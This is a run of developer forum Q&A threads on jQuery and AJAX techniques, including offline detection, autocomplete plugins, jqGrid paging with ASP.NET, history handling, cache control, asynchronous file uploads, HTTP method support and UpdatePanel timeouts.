Error: A function to be called if the request fails. The function is passed three arguments: The XMLHttpRequest object, a string describing the type of error that occurred and an optional exception object, if one occurred. Possible values for the second argument (besides null) are "timeout", "error", "notmodified" and "parsererror". This is an Ajax Event
So for example:
$.ajax({
type: "GET",
url: "keepalive.php",
success: function(msg){
alert("Connection active!")
}
error: function(XMLHttpRequest, textStatus, errorThrown) {
if(textStatus == 'timeout') {
alert('Connection seems dead!');
}
}
});
As olliej said, using the navigator.onLine browser property is preferable than sending network requests and, accordingly with developer.mozilla.org/En/Online_and_offline_events, it is even supported by old versions of Firefox and IE.
Recently, the WHATWG has specified the addition of the online and offline events, in case you need to react on navigator.onLine changes.
Please also pay attention to the link posted by Daniel Silveira which points out that relying on those signal/property for syncing with the server is not always a good idea.
I had to make a web app (ajax based) for a customer who works a lot with schools, these schools have often a bad internet connection I use this simple function to detect if there is a connection, works very well!
I use CodeIgniter and Jquery:
function checkOnline(){
setTimeout("doOnlineCheck()", 20000);
}
function doOnlineCheck(){
var submitURL = $("#base_path").val() + "index.php/menu/online";//if the server can be reached it returns 1, other wise it times out
$.ajax({
url : submitURL ,
type : 'post' ,
dataType: 'msg' ,
timeout : 5000 ,
success : function(msg){
if(msg==1){
$("#online").addClass("online");
$("#online").removeClass("offline");
}else{
$("#online").addClass("offline");
$("#online").removeClass("online");
}
checkOnline();
} ,
error : function(){
$("#online").addClass("offline");
$("#online").removeClass("online");
checkOnline();
}
});
}
From Gears itself:
Here is a snippet of a helper utility I have. This is namespaced javascript:
network: function() {
var state = navigator.onLine ? "online" : "offline";
return state;
}
You should use this with method detection else fire off an 'alternative' way of doing this. The time is fast approaching when this will be all that is needed. The other methods are hacks.
Another question is what are you going to do about the connection being down? Check out Gears.
Ping your ISP, e.g: their website.
You can use my solution if using Gears:
http://sviudes.blogspot.com/2009/08/google-gears-comprobar-si-estamos.html
Very interesting script that resumes a lot of above:
http://www.codeproject.com/KB/scripting/InternetConnectionTest.aspx
It is very useful, and because it is Ajax based, is asyncronous, so you can check if the Internet is conected without leaving the original page. Using this with a timer you can also have a component in the page checking every n minutes.
My way.
<!-- the file named "tt.jpg" should exist in the same directory -->
<script>
function testConnection(callBack)
{
document.getElementsByTagName('body')[0].innerHTML +=
'<img id="testImage" style="display: none;" ' +
'src="tt.jpg?' + Math.random() + '" ' +
'onerror="testConnectionCallback(false);" ' +
'onload="testConnectionCallback(true);">';
testConnectionCallback = function(result){
callBack(result);
var element = document.getElementById('testImage');
element.parentNode.removeChild(element);
}
}
</script>
<!-- usage example -->
<script>
function myCallBack(result)
{
alert(result);
}
</script>
<a href=# onclick=testConnection(myCallBack);>Am I online?</a>
Best i found that works is this:
var a=navigator.onLine;
if(a){
alert('online');
}else{
alert('ofline');
}
}
exaple of Jquery code, that work.
$.post(post_url + "/ajax_function.php", {"function": "login"
, "login" : $('#loglogin').val()
, "password" : $('#logPassword').val()
},
function(data) {
if(!data) {
alert('No internet connection');
return false;
}
// continue internet connection is OK
}, "json");
I usually use jQuery as my JS library on my sites, and I would like to stick with it since I'm familiar with it.
I need to implement an AJAX autocomplete, mainly for suggesting search results. Here are a few I have found:
If you have tried any of these plugins, were you happy with them? Which one do you think is the most (and easily) customizable?
I was recently on a similar mission and I eventually settled with jQuery UI's autocomplete. I am currently using jQuery UI 1.6rc2 and the autocomplete plugin is very well implemented and customizable. Here's an example:
<script type="text/javascript" src="jquery-1.2.6.js"></script>
<script type="text/javascript" src="ui.core.js"></script>
<script type="text/javascript" src="ui.autocomplete.js"></script>
<script type="text/javascript">
$('#search').autocomplete({
url: 'suggestions.php',
width: 300,
max: 10,
delay: 100,
cacheLength: 1,
scroll: false,
highlight: false
});
</script>
Autocomplete has been removed from the latest JQuery UI (since 1.6rc3). And the one you found in 1.6rc2, won't work with later version.
However, this guys has modified the code and make it work with later version.
As of jQuery UI 1.8.1, autocomplete is standard with the library.
This is quite easy-simple to integrate .This has got a lot of options with it
http://bassistance.de/jquery-plugins/jquery-plugin-autocomplete/ http://jquery.bassistance.de/autocomplete/demo/
There's a rewrite of my autocomplete up on http://code.google.com/p/jquery-autocomplete/ (in an attempt to properly open source it). Please report any issues you find on the Google Code project.
That said, I fully endorse Jörn's excellent work on a jQuery UI autocomplete and his version will probably be more powerful/customizable eventually.
Dylan Verheul
I tried a number of them, ended up with YUI's autocomplete (yes, for use with jQuery), it's worked well for me so far. You can use YUI's Loader facility to make it a fairly painless download and keep page loading times good.
As of today, only Dylan Verheul's version worked for me without issues.
I tried the others but I was going crazy juggling between xml and json data output formats from PHP.
Dylan's gives a simple plain text option (JSON and XML are not difficult, just that if plain text works, you might find it easy and useful).
The server side code for the example is tiny if you ignore the data array.
I used the autocomplete.css from Jörn Zaefferer's version with the source on Dylan's page ... works fine.
You can find a simple autocomplete plugin on
http://blog.idealmind.com.br/projetos/simple-autocomplete-jquery-plugin/
It's a plug and play plugin with callback functions, and you can use multiple autocomplete on the same page.
This combobox has many useful option documentation download.
Has anyone been able to implement the JQuery grid plugin, jqGrid? I'm trying to implement the JSON paging, and I feel like I'm getting close, but that I am also being swamped by inconsequential details. If anyone could post some sample code, I would greatly appreciate it.
Found your post while I was trying to do this for my project. I got it working. For anyone who needs it in the future, jqGrid won't work out of the box with JSON and ASP.NET. You need to make a couple of small modifications to grid.base.js. Around line 829, replace the json case section with the following:
case "json":
gdata = JSON.stringify(gdata); //ASP.NET expects JSON as a string
$.ajax({ url: ts.p.url,
type: ts.p.mtype,
dataType: "json",
contentType: "application/json; charset=utf-8", //required by ASP.NET
data: gdata,
complete: function(JSON, st) { if (st == "success") { addJSONData(cleanUp(JSON.responseText), ts.grid.bDiv); if (loadComplete) { loadComplete(); } } },
error: function(xhr, st, err) { if (loadError) { loadError(xhr, st, err); } endReq(); },
beforeSend: function(xhr) { if (loadBeforeSend) { loadBeforeSend(xhr); } } });
if (ts.p.loadonce || ts.p.treeGrid) { ts.p.datatype = "local"; }
break;
Then add the following function:
function cleanUp(responseText) {
var myObject = JSON.parse(responseText); //more secure than eval
return myObject.d; //ASP.NET special
}
You will also need to include the JSON parser and stringifier. Along with working with ASP.NET, this revised code is also more secure because the eval statement is gone.
EDIT: I should have also noted that you might have to make similar edits to grid.celledit.js, grid.formedit.js, grid.inlinedit.js, and grid.subgrid.js.
I've just jTemplates for doing client-side paging with jQuery and ASP.NET. I did a blog post on it which you can find here: http://www.aaron-powell.com/blog.aspx?id=1209
It looks at how to create a templated data location, return the data from ASP.NET and then implement a paging solution.
You can use the ASP.Net MVC JsonResult to populate the grid.
Person Class
public class Person
{
public int ID { get; set; }
public string Name { get; set; }
public DateTime Birthday { get; set; }
public static IEnumerable<Person> GetABunchOfPeople()
{
// Get a bunch of People.
}
}
In your controller you would have:
public JsonResult GetABunchOfPeopleAsJson()
{
var rows = (Person.GetABunchOfPeople()
.Select(c => new
{
id = c.ID,
cell = new[]
{
c.ID.ToString(),
c.Name,
c.Birthday.ToShortDateString()
}
})).ToArray();
return new JsonResult
{
Data = new
{
page = 1,
records = rows.Length,
rows,
total = 1
}
};
}
And the jqGrid configuration for the url would be:
url: '<%= ResolveUrl("~/Person/GetAllPeople") %>',
I'm looking at doing a similar thing with FlexGrid for jQuery and WCF emitting JSON but I'm still working on it.
Are there particular issues you are encountering?
I'm just floundering trying to pull everything together. My first concern is simply generating a correct JSON response. My returned class appears to be serialised as a property named 'd' - is this a JQuery thing, or ASP.Net web method convention? I'm afraid that jqGrid will be looking for the data to be top-level, whereas asp.net will put it in a property called 'd':
[WebMethod]
[ScriptMethod(ResponseFormat = ResponseFormat.Json)]
public static object GetData() {
TestClass tc = new TestClass() { One = "Hello", Two = "World" };
return tc;
}
$("#divResults").click(function() {
$.ajax({
type: "POST",
url: "GridData_bak.aspx/GetData",
data: "{}",
contentType: "application/json; charset=utf-8",
dataType: "json",
success: function(test) {
// Replace the div's content with the page method's return.
$("#divResults").text(test.d.One);
},
error: function(msg) {
$("#divResults").text(msg);
}
});
});
Hi Adam The flexgrid plugin is quite sparse on doumentation however in a small section on the demo page there is a tut on creating a json serialized object, this is a bit misleading because the grid requires a specific format, I have ported the php code for xml option with a little monkey grease you can do the same for the json formatting
heres my xml port
the setup for the grid
$("#tableToFlex").flexigrid({
url: 'WebService.asmx/getData'}
... *other configs* ...);
please consider the following code in the webservice.asmx class
<WebMethod()> _
<ScriptMethod(ResponseFormat:=ResponseFormat.Xml)> _
Public Function getData(ByVal page As Integer, _
ByVal qtype As String, _
ByVal Query As String, _
ByVal rp As Integer, _
ByVal sortname As String, _
ByVal sortorder As String) As System.Xml.XmlDocument
'note these parameters are inputted to determine paging and constrains for the resultant rows
'Sample list to send to the grid
Dim list = New List(Of ApplicationStateInformation)
'Sample row object that holds name , surname , address, idnumber ...
list.Add(New RowObjects( "test1", "test1", "test1", "12345"))
list.Add(New RowObjects( "test2", "test2", "test2", "12345"))
list.Add(New RowObjects( "test3", "test3", "test3", "12345"))
list.Add(New RowObjects( "test4", "test4", "test4", "12345"))
'retun a xml doc, as we are using the xml format on the flexgrid
Dim returnDoc = New System.Xml.XmlDocument()
returnDoc.Load(New IO.StringReader(ToXmlResult(list)))
Return returnDoc
End Function
Private Function ToXmlResult(ByVal list As List(Of RowObjects)) As String
'this is the xml document format the grid understands
Dim result As String = "<?xml version=""1.0"" encoding=""utf-8""?>" & vbCrLf
result += "<rows>" & vbCrLf
result += String.Format("<page>{0}</page>" & vbCrLf, "1")
result += String.Format("<total>{0}</total>" & vbCrLf, "10")
For Each item In list
result += ConvertRowData(item)
Next
result += "</rows>" & vbCrLf
Return result
End Function
Private Function ConvertRowData(ByVal row As RowObjects) As String
Dim result As String = String.Format("<row id='{0}'>" & vbCrLf, row.IdNumber.ToString)
'THESE SHOULD BE HTML ENCODED (the format arg) but I left it out
result += String.Format("<cell><![CDATA[{0}]]></cell>" & vbCrLf, row.Name)
result += String.Format("<cell><![CDATA[{0}]]></cell>" & vbCrLf, row.Surname)
result += String.Format("<cell><![CDATA[{0}]]></cell>" & vbCrLf, row.IdNumber)
result += "</row>" & vbCrLf
Return result
End Function
the d in the json is an inbuilt defense against a potential exploit
example I found that uses mvc
Full info here
I think you can make jqgrid work with json & asp.net without modifying grid.base.js and other jqgrid files, you have to use the datatype property to define your own custom ajax call and define a json reader, jqgrid will then use your custom ajax call and reader every time the grid reloads.
The process is similar for xml you just define an xmlreader instead of a jsonreader.
All the properties of the jsonreader are defined in the online documentation
For examples of custom datatype see "Function as datatype" in the live demo page under "New in 3.3"
My Implement:
data: "{'page':'" + gdata.page + "','rows':'" + gdata.rows + "','sidx':'" + gdata.sidx + "','sord':'" + gdata.sord + "','nd':'" + gdata.nd + "','_search':'" + gdata._search + "','searchField':'" + ts.p.searchdata.searchField + "','searchString':'" + ts.p.searchdata.searchString + "','searchOper':'" + ts.p.searchdata.searchOper + "'}",
success: function(JSON, st) { if (st == "success") { addJSONData(JSON.d, ts.grid.bDiv); if (loadComplete) { loadComplete(); } }
Insted using complete ajax event use success event. this way is prevent the double json seralize.
Just one thing that i didnt realize with cell editing: Assume that I want edit multiple cells with same data type (int). I have only one web method! and I cant oveload with a same data type with diffrent name! Is anyone solve this kind of probleme?
I just set up my new homepage at http://ritter.vg. I'm using jQuery, but very minimally.
It loads all the pages using AJAX - I have it set up to allow bookmarking by detecting the hash in the URL.
//general functions
function getUrl(u) {
return u + '.html';
}
function loadURL(u) {
$.get(getUrl(u), function(r){
$('#main').html(r);
}
);
}
//allows bookmarking
var hash = new String(document.location).indexOf("#");
if(hash > 0)
{
page = new String(document.location).substring(hash + 1);
if(page.length > 1)
loadURL(page);
else
loadURL('news');
}
else
loadURL('news');
But I can't get the back and forward buttons to work.
Is there a way to detect when the back button has been pressed (or detect when the hash changes) without using a setInterval loop? When I tried those with .2 and 1 second timeouts, it pegged my CPU.
Use the jQuery history plugin instead. Regarding your full ajax navigation, try to have SEO friendly ajax. Otherwise your pages shown nothing in browsers with JavaScript limitations.
jQuery BBQ (Back Button & Query Library)
A high quality hash-based browser history plugin and very much up-to-date (Jan 26, 2010) as of this writing (jQuery 1.4.1).
HTML5 has included a much better solution than using hashchange which is the HTML5 State Management APIs - https://developer.mozilla.org/en/DOM/Manipulating_the_browser_history - they allow you to change the url of the page, without needing to use hashes!
Though the HTML5 State Functionality is only available to HTML5 Browsers. So you probably want to use something like History.js which provides a backwards compatible experience to HTML4 Browsers (via hashes, but still supports data and titles as well as the replaceState functionality).
You can read more about it here: https://github.com/balupton/History.js
Another great implementation is balupton's jQuery History which will use the native onhashchange event if it is supported by the browser, if not it will use an iframe or interval appropriatly for the browser to ensure all the expected functionality is successfully emulated. It also provides a nice interface to bind to certain states.
Another project worth noting as well is jQuery Ajaxy which is pretty much an extension for jQuery History to add ajax to the mix. As when you start using ajax with hashes it get's quite complicated!
I've never attempted to do this, but it seems like this has been discussed on the internet.
Here looks to be a good place to start: http://www.hunlock.com/blogs/Mastering_The_Back_Button_With_Javascript
I do the following, if you want to use it then paste it in some where and set your handler code in locationHashChanged(qs) where commented, and then call changeHashValue(hashQuery) every time you load an ajax request. Its not a quick-fix answer and there are none, so you will need to think about it and pass sensible hashQuery args (ie a=1&b=2) to changeHashValue(hashQuery) and then cater for each combination of said args in your locationHashChanged(qs) callback ...
// Add code below ...
function locationHashChanged(qs)
{
var q = parseQs(qs);
// ADD SOME CODE HERE TO LOAD YOUR PAGE ELEMS AS PER q !!
// YOU SHOULD CATER FOR EACH hashQuery ATTRS COMBINATION
// THAT IS PASSED TO changeHashValue(hashQuery)
}
// CALL THIS FROM YOUR AJAX LOAD CODE EACH LOAD ...
function changeHashValue(hashQuery)
{
stopHashListener();
hashValue = hashQuery;
location.hash = hashQuery;
startHashListener();
}
// AND DONT WORRY ABOUT ANYTHING BELOW ...
function checkIfHashChanged()
{
var hashQuery = getHashQuery();
if (hashQuery == hashValue)
return;
hashValue = hashQuery;
locationHashChanged(hashQuery);
}
function parseQs(qs)
{
var q = {};
var pairs = qs.split('&');
for (var idx in pairs) {
var arg = pairs[idx].split('=');
q[arg[0]] = arg[1];
}
return q;
}
function startHashListener()
{
hashListener = setInterval(checkIfHashChanged, 1000);
}
function stopHashListener()
{
if (hashListener != null)
clearInterval(hashListener);
hashListener = null;
}
function getHashQuery()
{
return location.hash.replace(/^#/, '');
}
var hashListener = null;
var hashValue = '';//getHashQuery();
startHashListener();
I used a jquery plugin and wrote a YUI History like interface on top of it.
http://jstalkies.blogspot.com/2009/10/history-utility.html
Check it out once. If you need help I can help
Take a look to this tutorial of Single Page Interface web sites
Sounds like SammyJS is what you needed.
I have the following code making a GET request on a URL:
$('#searchButton').click(function() {
$('#inquiry').load('/portal/?f=searchBilling&pid=' + $('#query').val());
});
But the returned result is not always reflected. For example, I made a change in the response that spit out a stack trace but the stack trace did not appear when I clicked on the search button. I looked at the underlying PHP code that controls the ajax response and it had the correct code and visiting the page directly showed the correct result but the output returned by .load was old.
If I close the browser and reopen it it works once and then starts to return the stale information. Can I control this by jQuery or do I need to have my PHP script output headers to control caching?
You have to use a more complex function like $.ajax() if you want to control caching on a per-request basis. Or, if you just want to turn it off for everything, put this at the top of your script:
$.ajaxSetup ({
// Disable caching of AJAX responses
cache: false
});
Here is an example of how to control caching on a per-request basis
$.ajax({
url: "/YourController",
cache: false,
dataType: "html",
success: function(data) {
$("#content").val(data);
}
});
/**
* Use this function as jQuery "load" to disable request caching in IE
* Example: $('selector').loadWithoutCache('url', function(){ //success function callback... });
**/
$.fn.loadWithoutCache = function (){
var elem = $(this);
var func = arguments[1];
$.ajax({
url: arguments[0],
cache: false,
dataType: "html",
success: function(data, textStatus, XMLHttpRequest) {
elem.html(data);
if(func != undefined){
func(data, textStatus, XMLHttpRequest);
}
}
});
return elem;
}
One way is to add a unique number to the end of the url:
$('#inquiry').load('/portal/?f=searchBilling&pid=' + $('#query').val()+'&uid='+uniqueId());
Where you write uniqueId() to return something different each time it's called.
This is of particular annoyance in IE. Basically you have to send 'no-cache' HTTP headers back with your response from the server.
Sasha is good idea, i use a mix.
I create a function
LoadWithoutCache: function (url, source) {
$.ajax({
url: url,
cache: false,
dataType: "html",
success: function (data) {
$("#" + source).html(data);
return false;
}
});
}
And invoke for diferents parts of my page for example on init:
Init: function (actionUrl1, actionUrl2, actionUrl3) {
var ExampleJS= {
Init: function (actionUrl1, actionUrl2, actionUrl3) ExampleJS.LoadWithoutCache(actionUrl1, "div1");
ExampleJS.LoadWithoutCache(actionUrl2, "div2"); ExampleJS.LoadWithoutCache(actionUrl3, "div3"); } },
For PHP, add this line to your script which serves the information you want:
header("cache-control: no-cache");
or, add a unique variable to the query string:
"/portal/?f=searchBilling&x=" + (new Date()).getTime()
Try this:
$("#Search_Result").load("AJAX-Search.aspx?q=" + $("#q").val() + "&rnd=" + String((new Date()).getTime()).replace(/\D/gi, ''));
It works fine when i used it.
I noticed that if some servers (like Apache2) are not configured to specifically allow or deny any "caching", then the server may by default send a "cached" response, even if you set the HTTP headers to "no-cache". So make sure that your server is not "caching" anything before it sents a response:
In the case of Apache2 you have to
1) edit the "disk_cache.conf" file - to disable cache add "CacheDisable /local_files" directive
2) load mod_cache modules (On Ubuntu "sudo a2enmod cache" and "sudo a2enmod disk_cache")
3) restart the Apache2 (Ubuntu "sudo service apache2 restart");
This should do the trick disabling cache on the servers side. Cheers! :)
I would like to upload a file asynchronously with JQuery. This is my HTML:
<span>File</span>
<input type="file" id="file" name="file" size="10"/>
<input id="uploadbutton" type="button" value="Upload"/>
And here my javascript:
$(document).ready(function() {
$("#uploadbutton").click(function() {
var filename = $("#file").val();
$.ajax({
type: "POST",
url: "addFile.do",
enctype: 'multipart/form-data',
data: {file: filename},
success: function(){
alert( "Data Uploaded: ");
}
});
});
});
Instead of the file being uploaded, I am only getting the filename. Help?
I am using to upload files the jQuery Form Plugin
There's various ready-made plugins on doing file upload on jquery.
Doing this kind of uploading hacks is not an enjoyable experience, so people enjoy using ready-made solutions.
Here's few:
You can search more from jquery's plugin -site.
You cannot do AJAX file uploads. They're not supported but you can fake it.
If you create a iframe on the page (that you can hide with CSS), you can target your form to post to that iframe.
Because it's a real post, it's not wholly interactive so you'd need to look at requesting the progress of the current upload from your server. This varies massively depending on your server. ASPNET has nicer mechanisms. PHP plain fails but you can use Perl or Apache modifications to get around it.
If you need multiple file-uploads, it's best to do each file one at a time (to overcome maximum file upload limits). Post the first form to the iframe, monitor its progress using the above and when it has finished, post the second form to the iframe, and so on.
Or use a Java/Flash solution. They're a lot more flexible in what they can do with their posts...
I recommend using jsupload plugin for this purpose. Your javascript would be:
$(document).ready(function() {
$("#uploadbutton").jsupload({
action: "addFile.do",
onComplete: function(response){
alert( "server response: " + response);
}
});
I also wrote a blog post about this very subject, but mine is for ASP.NET MVC as the server side platform.
You cannot upload files using XMLHttpRequest (AJAX).
You can simulate the effect using an iframe of Flash.
Try this SWF (Flash) uploader : http://www.swfupload.org/documentation
Or this excellent jQuery forms plugin that posts your files through an iframe to get the effect :
I just found this awesome tool to do asynchronous file uploading. It is written in jQuery and you can interact with it through jQuery.
Check out Plupload: http://www.plupload.com/
It uses these different "runtimes", ranging from HTML 5/4 to Flash to Gears. Here's an example of all the runtimes in one page...
http://www.plupload.com/example_all_runtimes.php
I highly recommend Plupload; its awesome!
I hope this helps.
Hristo
Well a simple way to do that is here. Documentation and plugin download: http://pixelcone.com/jquery/ajax-file-upload-script/
This AJAX file upload jQuery plugin uploads the file somehwere, and passes the response to a callback, nothing else.
<input type="file">-- Use as little as --
$('#one-specific-file').ajaxfileupload({
'action': '/upload.php'
});
-- or as much as --
$('input[type="file"]').ajaxfileupload({
'action': '/upload.php',
'params': {
'extra': 'info'
},
'onComplete': function(response) {
console.log('custom handler for file:');
alert(JSON.stringify(response));
},
'onStart': function() {
if(weWantedTo) return false; // cancels upload
},
'onCancel': function() {
console.log('no file selected');
}
});
A solution I found was to have the <form> target a hidden iFrame. The iFrame can then run JS to display to the user that it's complete (on page load).
I've written this up in a Rails environment. It's only about five lines of JavaScript, if you use the lightweight jQuery-form plugin.
The challenge is in getting AJAX upload working as the standard remote_form_for doesn't understand multi-part form submission. It's not going to send the file data Rails seeks back with the AJAX request.
That's where the jQuery-form plugin comes into play.
Here?s the Rails code for it:
<% remote_form_for(:image_form,
:url => { :controller => "blogs", :action => :create_asset },
:html => { :method => :post,
:id => 'uploadForm', :multipart => true })
do |f| %>
Upload a file: <%= f.file_field :uploaded_data %>
<% end %>
Here?s the associated JavaScript:
$('#uploadForm input').change(function(){
$(this).parent().ajaxSubmit({
beforeSubmit: function(a,f,o) {
o.dataType = 'json';
},
complete: function(XMLHttpRequest, textStatus) {
// XMLHttpRequest.responseText will contain the URL of the uploaded image.
// Put it in an image element you create, or do with it what you will.
// For example, if you have an image elemtn with id "my_image", then
// $('#my_image').attr('src', XMLHttpRequest.responseText);
// Will set that image tag to display the uploaded image.
},
});
});
And here?s the Rails controller action, pretty vanilla:
@image = Image.new(params[:image_form])
@image.save
render :text => @image.public_filename
I?ve been using this for the past few weeks with Bloggity, and it?s worked like a champ.
You can also try this - no Flash needed.
And does it work?
Here is a Tutorial...
There's is the link for your jquery iframe uploader in php and javascript
Enjow!
http://www.phpletter.com/download%5Fproject%5Fversion.php?version%5Fid=6
I think others have already answered your question. However, if you also wish to post other data along with file upload, I would suggest you to use this jQuery Form plugin.
This plugins lets you post any form asynchronously through an iframe: http://trentrichardson.com/2009/06/05/meet-jquery-iframer/
I've seen a couple questions around here like How to debug RESTful services, which mentions:
Unfortunately that same browser won't allow me to test HTTP PUT, DELETE, and to a certain degree even HTTP POST.
I've also heard this, that browsers support only GET and POST, from some other sources like:
However, a few quick tests in Firefox show that sending PUT and DELETE requests works as expected -- the XMLHttpRequest completes successfully, and the request shows up in the server logs with the right method. Is there some aspect to this I'm missing, such as cross-browser compatibility or non-obvious limitations?
HTML forms (up to HTML version 4 and XHTML 1) only support GET and POST as HTTP request methods. A workaround for this is to tunnel other methods through POST by using a hidden form field which is read by the server and the request dispatched accordingly.
However, for the vast majority of RESTful web services GET, POST, PUT and DELETE should be sufficient. All these methods are supported by the implementations of XMLHttpRequest in all the major web browsers (IE, Firefox, Opera).
Read an in-depth analysis here: HTTP methods, Web browsers and XMLHttpRequest
He tested various HTTP Methods with Ajax calls from Fx, Opera and IE.
HTML forms support GET and POST. (HTML5 at one point added PUT/DELETE, but those were dropped.)
XMLHttpRequest supports every method, including CHICKEN, though some method names are matched against case-insensitively (methods are case-sensitive per HTTP) and some method names are not supported at all for security reasons (e.g. CONNECT).
Browsers are slowly converging on the rules specified by XMLHttpRequest, but as the other comment pointed out there are still some differences.
XMLHttpRequest is a standard object in the JavaScript Object model.
It first appeared in Internet Explorer 5 as an ActiveX object, but has since been made into a standard and has been included for use in JavaScript in the Mozilla family since 1.0, Apple Safari 1.2, Opera 8.0, and IE 7.0.
The open() method on the object takes the HTTP Method as an argument - and is specified as taking any valid HTTP method - including GET, POST, HEAD, PUT and DELETE
Does anyone know if Safari supports PUT and DELETE from an AJAX request? If so, please edit the top answer -- I don't have a Mac or sufficient reputation.
jQuery's documentation on Type says:
The type of request to make ("POST" or "GET"), default is "GET". Note: Other HTTP request methods, such as PUT and DELETE, can also be used here, but they are not supported by all browsers.
It would be nice to clarify that.
Just to add - Safari 2 and earlier definitely didn't support PUT and DELETE. I get the impression 3 did, but I don't have it around to test anymore. Safari 4 definitely does support PUT and DELETE.
This page will should you what methods are supported by your current browser:
I believe those comments refer specifically to the browsers, i.e., clicking links and submitting forms, not XMLHttpRequest. XMLHttpRequest is just a custom client that you wrote in JavaScript that uses the browser as a runtime.
UPDATE: To clarify, I did not mean (though I did write) that you wrote XMLHttpRequest; I meant that you wrote the code that uses XMLHttpRequest. The browsers do not natively support XMLHttpRequest. XMLHttpRequest comes from the JavaScript runtime, which may be hosted by a browser, although it isn't required to be (see Rhino). That's why people say browsers don't support PUT and DELETE?because it's actually JavaScript that is supporting them.
I'm making a request from an UpdatePanel that takes more then 90 seconds. I'm getting this timeout error.
"Microsoft JScript runtime error: Sys.WebForms.PageRequestManagerTimeoutException: The server request timed out."
Does anyone know if there is a way to increase the amount of time before the the call times out?
There is a property on the ScriptManager:
AsyncPostBackTimeout="300"
In my case the ScriptManager object was created in a Master Page file that was then shared with the Content Page files. So to change the ScriptManager.AsyncPostBackTimeout property in the Content Page, I had to access the object in the Content Page's aspx.cs file:
protected void Page_Load(object sender, EventArgs e)
{
. . .
ScriptManager _scriptMan = ScriptManager.GetCurrent(this);
_scriptMan.AsyncPostBackTimeout = 36000;
}
This did the trick (basically just ignoring all timeouts):
<script type="text/javascript">
Sys.WebForms.PageRequestManager.getInstance().add_endRequest(function (sender, args) {
if (args.get_error() && args.get_error().name === 'Sys.WebForms.PageRequestManagerTimeoutException') {
args.set_errorHandled(true);
}
});
</script>
This might be configurable by changing the ASP script timeout in IIS.
It's located in the properties of your web site, virtual directory, configuration button, then on the options tab.
or set it by setting the Server.ScriptTimeout property.
Well, I suppose that would work if you just want the request thrown away with the potential that it never completely executed...
Add an AsyncPostBackTimeOut property to the ScriptManager tag to change your default timeout from 90 seconds to something more reasonable for your application.
Further, look into changing the web service receiving the call to move faster. 90 seconds may as well be infinity in internet time.
Please follow the steps below:
Step 1: In web.config, set 'httpRuntime maxRequestLength="1024000" executionTimeout="999999"'
Step 2: Add the following setting to your web page's ScriptManager: 'AsyncPostBackTimeout ="360000"'
This will solve your problem.
I am in charge of a website at work and recently I have added ajaxy requests to make it faster and more responsive. But it has raised an issue.
On my pages, there is an index table on the left, like a menu. Once you have clicked on it, it makes a request that fills the rest of the page. At anytime you can click on another item of the index to load a different page.
Before adding javascript, it was possible to middle click (open new tabs) for each item of the index, which allowed to have other pages loading while I was dealing with one of them. But since I have changed all the links to be ajax requests, they now execute some javascript instead of being real links. So they are only opening empty tabs when I middle click on them.
Is there a way to combine both functionalities: links firing javascript when left clicked or new tabs when middle clicked? Does it have to be some ugly javascript that catches every clicks and deal with them accordingly?
Thanks.
Yes. Instead of:
<a href="javascript:code">...</a>
Do this:
<a href="/non/ajax/display/page" id="thisLink">...</a>
And then in your JS, hook the link via it's ID to do the AJAX call. Remember that you need to stop the click event from bubbling up. Most frameworks have an event killer built in that you can call (just look at its Event class).
Here's the event handling and event-killer in jquery:
$("#thisLink").click(function(ev, ob) {
alert("thisLink was clicked");
ev.stopPropagation();
});
Of course you can be a lot more clever, while juggling things like this but I think it's important to stress that this method is so much cleaner than using onclick attributes.
Yes, You need to lookup progressive enhancement and unobtrusive Javascript, and code your site to work with out Javascript enabled first and then add the Javascripts functions after you have the basic site working.
It would require some testing, but I believe that most browsers do not execute the click handler when you click them, meaning that only the link is utilized.
Not however that your handler function needs to return false to ensure these links aren't used when normally clicking.
EDIT: Felt this could use an example:
<a href="/Whatever/Wherever.htm" onclick="handler(); return false;" />
<a href="/original/url" onclick="return !doSomething();">link text</a>
For more info and detailed explanation view my answer in another post.
Possibly, I could provide two links each time, one firing the javascript and another being a real link that would allow for middle click. I presume, one of them would have to be an image to avoid overloading the index.
The onlick event won't be fired for that type of click, so you need to add an href attribute which would actually work, possibly by adding a #bookmark to the URL indicate to the target page what the required state is.
How would you do it for this example:
<td width="67" onClick="document.location.href='http://www.domain.com';" style="cursor:pointer"></td>
At the moment it's a table cell link but I can't open it in a new tab when I middle click it.
Thanks,
Dan
I'm fairly new to the AJAX methodologies (I only recently discovered jQuery a short time ago). I am interested to know if there is anyway to authenticate a user on a PHP setup; securely.
Does jQuery have any special options to allow use of HTTPS (or any other way to encrypt my ajax call)?
Yes, I could very well just post data back to the server, but that ruins the fun. :)
To use Ajax over HTTPS, you have to load the originating page over HTTPS.
So, in a sense, yes -- but, not on its own.
Well, in case you are intrested. There is AES JavaScript implementation. I had lots of fun playing with it :). Still, it might be litte tricky...
Unless jQuery already does this (I use MooTools so I wouldn't know) I'd highly suggest that you link the AJAX login to the PHP session by using a $_GET variable in the query string. This way even though it's through HTTPS, you'll still know what session its tied to for an added layer of protection.
Recently I have started playing with jQuery, and have been following a couple of tutorials. Now I feel slightly competent with using it (it's pretty easy), and I thought it would be cool if I were able to make a 'console' on my webpage (as in, you press the ` key like you do in FPS games, etc.), and then have it Ajax itself back to the server in-order to do stuff.
I originally thought the best way would be to just get the text inside the textarea, and then split it, or should I use the keyup event, convert the keycode returned to an ASCII character, append the character to a string and send the string to the server (then empty the string).
I couldn't find any information on getting text from a textarea, all I got was keyup information. Also, how can I convert the keycode returned to an ASCII character?
Why would you want to convert key strokes to text? Add a button that sends the text inside the textarea to the server when clicked. You can get the text using the value attribute as the poster before has pointed out, or using jQuery's API:
$('input#mybutton').click(function() {
var text = $('textarea#mytextarea').val();
//send to server and process response
});
Normally, it's the value property
testArea.value
Or is there something I'm missing in what you need?
You should have a div that just contains the console messages, that is, previous commands and their output. And underneath put an input or textarea that just holds the command you are typing.
-------------------------------
| consle output ... |
| more output |
| prevous commands and data |
-------------------------------
> This is a input box.
That way you just send the value of the input box to the server for processing, and append the result to the console messages div.
I have figured out that I can convert the keyCode of the event to a character by using the following function:
var char = String.fromCharCode(v_code);
From there I would then append the character to a string, and when the enter key is pressed send the string to the server. I'm sorry if my question seemed somewhat cryptic, and the title meaning something almost completely off-topic, it's early in the morning and I haven't had breakfast yet ;).
Thanks for all your help guys.
Methinks the word "console" is causing the confusion.
If you want to emulate an old-style full/half duplex console, you'd use something like this:
$('console').keyup(function(event){
$.get("url", { keyCode: event.which }, ... );
return true;
});
event.which has the key that was pressed. For backspace handling, event.which === 8.
I will soon be working on AJAX driven web pages that have a lot of content generated from a Web Service (WCF).
I've tested this sort of thing in the past (and found it easy) but not with this level of dynamic content.
